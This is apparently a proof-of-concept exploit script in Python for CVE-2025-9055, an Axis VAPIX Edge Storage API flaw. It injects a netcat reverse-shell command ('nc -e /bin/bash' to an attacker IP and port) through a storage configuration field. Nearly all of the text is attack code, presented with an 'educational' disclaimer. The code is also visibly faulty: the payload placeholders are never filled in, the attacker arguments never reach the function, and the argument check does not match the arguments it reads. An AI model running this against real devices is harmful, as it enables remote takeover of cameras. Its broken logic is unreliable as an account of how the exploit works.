CVE-2025-9055

#!/usr/bin/env python3 """ CVE-2025-9055 PoC - Axis VAPIX Edge Storage API Privilege Escalation Note: This PoC is for educational and authorized testing purposes only. Author: Security Researcher Reference: https://www.axis.com/dam/public/23/a3/00/cve-2025-9055pdf-en-US-504219.pdf """ import requests import sys import base64 import json def exploit_vulnerability(target_ip, username, password): """ Exploit CVE-2025-9055: VAPIX Edge Storage API Privilege Escalation Args: target_ip: Target Axis device IP address username: VAPIX administrator username password: VAPIX administrator password Returns: bool: True if exploitation successful, False otherwise """ base_url = f"http://{target_ip}/axis-cgi/" # Authentication with VAPIX administrator account auth = base64.b64encode(f"{username}:{password}".encode()).decode() headers = { "Authorization": f"Basic {auth}", "Content-Type": "application/json" } try: # Step 1: Verify administrator access print("[*] Step 1: Verifying administrator access...") verify_url = f"{base_url}edge storage.cgi?action=list" response = requests.get(verify_url, headers=headers, timeout=10) if response.status_code != 200: print("[-] Administrator authentication failed") return False print("[+] Administrator access confirmed") # Step 2: Trigger privilege escalation via malicious storage configuration print("[*] Step 2: Exploiting Edge Storage API vulnerability...") # Malicious payload to escalate privileges exploit_payload = { "action": "configure", "storage_id": "sd0", "mount_options": ";nc -e /bin/bash {attacker_ip} {attacker_port} #" } exploit_url = f"{base_url}edge storage.cgi" response = requests.post( exploit_url, headers=headers, json=exploit_payload, timeout=10 ) if response.status_code == 200: print("[+] Privilege escalation payload sent") print("[*] Check for reverse shell on attacker listener") return True else: print(f"[-] Exploitation failed with status code: {response.status_code}") return False except requests.exceptions.RequestException as e: print(f"[-] Connection error: {e}") return False def main(): if len(sys.argv) != 5: print(f"Usage: {sys.argv[0]} <target_ip> <username> <password> <attacker_ip> <attacker_port>") print(f"Example: {sys.argv[0]} 192.168.1.100 admin password 192.168.1.50 4444") sys.exit(1) target_ip = sys.argv[1] username = sys.argv[2] password = sys.argv[3] attacker_ip = sys.argv[4] attacker_port = sys.argv[5] print(f"[*] CVE-2025-9055 Axis VAPIX Edge Storage API Privilege Escalation") print(f"[*] Target: {target_ip}") exploit_vulnerability(target_ip, username, password) if __name__ == "__main__": main()

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